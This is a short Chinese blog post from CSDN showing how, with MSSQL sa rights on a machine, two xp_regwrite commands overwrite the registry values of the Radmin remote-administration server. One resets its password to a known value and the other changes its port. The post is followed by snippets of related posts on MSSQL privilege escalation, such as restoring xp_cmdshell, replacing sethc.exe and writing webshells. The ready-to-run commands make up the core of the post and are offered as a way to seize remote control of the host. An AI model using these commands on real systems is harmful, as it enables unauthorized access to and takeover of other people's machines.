使用xp_Regwrite夺取radmin

最新推荐文章于 2024-07-16 16:42:37 发布
最新推荐文章于 2024-07-16 16:42:37 发布
阅读量1.2k 收藏
点赞数
分类专栏： 程序相关 文章标签： xp c
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/liswa/article/details/658938
版权

     某机，安装了radmin，密码被修改了，regedit.exe不知道被删除了还是被改名了，net.exe不存在，没有办法使用regedit /e 导入注册文件，但是mssql是sa权限，使用如下命令

EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM/RAdmin/v2.0/Server/Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c

即可修改密码为12345678。如果要修改端口值

EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM/RAdmin/v2.0/Server/Parameters','port','REG_BINARY',0xd20400

则端口值改为1234

liswa
关注
专栏目录
T-SQL系列之MSSQL_未公开的扩展存储过程
MSSQL_DBA的专栏
08-20 610
--sqlserver_未公开的扩展存储过程(dba常用语句) 2013-5-23 -- 1、查看当前SQL版本 EXEC master..sp_MSgetversion EXEC master..xp_msver -- 2、列出C:\盘下所有文件夹,包括二级目录,省略第二个参数时，默认为（显示根目录下文件夹） EXEC master..xp_dirtree 'c
xp——cmdshell恢复(古老语言)（内有转载）
Coisini的博客
05-25 460
1 未能找到存储过程’master…xpcmdshell’. EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号 恢复方法：查询分离器连接后, 第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll’declare @o int 第二步执行:sp_adde...
sa提權技巧之xp_regwrite 替換sethc.exe
06-19
sa提權技巧之xp_regwrite 替換sethc.exe
sa提权技巧之xp_regwrite替换sethc.exe
weixin_34234829的博客
07-09 395
sa权限如果xp_cmdshell不可用时，可以尝试用xp_regwrite写注册表，替换sethc.exe实现提权。代码如下：sa提权技巧之xp_regwrite 替换sethc.exexp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execu...
ASPX+MSSQL注如；SQL盲注
最新发布
cnzzs的博客
07-16 946
注入点基本检查在进行MSSQL注如公鸡时，首先要对MSSQL注如点进行以下基本的注入检查，以确定后面的公鸡实施方案。判断数据库类型(在数据库内创建的每个对象在sysobjects系统表中都占有一行)and exists (select * from sysobjects)数据库帐号权限判断and 1=(selectIS_S...
SA权限仅需xp_regwrite即可有dos shell
古剑楠的专栏
09-23 1178
SA权限仅需xp_regwrite即可有dos shell (转)   [ 日期: 2006-06-24 02:43 | 作者: d99 | 来自: 转 | | ]   删除xp_cmdshell和xplog70.dll不用担心，只要保留xp
xp_instance_regwrite syntax
weixin_33888907的博客
06-26 441
The stored procedure "master.sys.xp_instance_regwrite" is not documented in SQL Server Books Online (BOL), but is usefull. In general the syntax isEXECUTE [master].[sys].[xp_instance_regwrite] @rootk...
windows系统sql server常见提权方法
Bird&Bird
07-24 2412
目录1、MSSQL概述2、常规使用3、xp_cmdshell提权4、sp_oacreate提权 1、MSSQL概述 MSSQL(MicroSoft SQL Server数据库)，是微软开发的关系型数据库管理系统DBMS，是一个较大型的数据库，提供数据库的从服务器到终端的完整的解决方案，数据库管理系统SSMS(SQL Server Managerment Studio)，是一个用于建立、使用和维护数据库的集成开发环境。 端口号：1433 SA用户 在搭建时，选择使用SQL Server身份验证会创建SA账户并
SA 沙盘模式下不用恢复xp_cmdshell和xplog70.dll也执行命令
10-28
通过使用xp_regwrite存储过程，可以修改系统注册表，将Microsoft Jet 数据引擎的SandBoxMode设置为1，从而开启沙盘模式。 Microsoft Jet 数据引擎通过OLE DB 提供程序暴露给数据库服务器，允许SQL Server通过jet....
SQL Server存储过程安全与性能：xp_cmdshell与扩展存储过程
例如，xp_cmdshell用于执行操作系统命令，xp_regwrite/xp_regdeletevalue/xp_regdeletekey用于操作注册表。需要注意的是，出于安全考虑，这些扩展存储过程在SQL Server 2008及以上版本中默认被限制访问或禁用。 ...
MS SQL xp_instance_regwrite设置注册表疑惑
weixin_33948416的博客
10-19 266
  以前写过一篇博文“MS SQL 日志记录管理”，里面介绍了如何设置SQL Server的错误日志的最大归档数量，如果在SSMS的UI界面设置，可以从“Management”-> "SQL Server Logs" 右键单击选项“Configure" 去设置错误日志的个数，如下所示：             如果里使用脚本设置，如下所示，这个脚本也能实现修改最大错误日志数量的功能    ...
SqlServer常见攻击手法
灰太的表格的博客
09-30 1098
sqlserver常见渗透手法
数据库注入提权总结（三）
蚁景网安学院
08-12 5048
差异备份数据库得到webshell。在sqlserver里dbo和sa权限都有备份数据库权限，我们可以把数据库备份称asp文件，这样我们就可以通过mssqlserver的备份数据库功能生成一个网页小马。
18_mssql提权
qq_45301512的博客
12-12 232
【代码】17_mssql提权。
ASPX+MSSQL注如
weixin_42518981的博客
07-15 32
MSSQL注如点的基本检查 利用MSSQL扩展存储注入公鸡检查与恢复扩展存储sa权限下扩展存储公鸡利用方法xp_cmdshell扩展执行任意命令xp_regwrite操作注册表与开启沙盒模式利用sp_makewebtash写入一句话木马DBowner权限下的扩展公鸡利用判断数据库类型(在数据库内创建的每个对象在sys...
2004-8-5+ 给mssql添加用户
weixin_34113237的博客
06-29 102
打开管理器，找到需要添加用户的数据库，点开，右键单击用户，选择“新建数据库用户”，弹出“数据库用户属性-新建用户”，填好登陆名和用户名，分配好角色，然后就可以啦。先看登陆名。一般从下拉列表里选“新建”，跳出“sql server登录属性-新建登录”，然后在这里填名称，设定sel servr身份验证的密码，然后从下拉列表里选一个数据库，就是你要添加用户的那个，完事后确定。这样在登陆名下拉列表就会多出...
内网渗透常用提权方式总结
j1044957016的博客
06-01 7678
内网菜鸡艰难学习，希望一样的菜鸡能省去打开一堆链接的时间吧
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值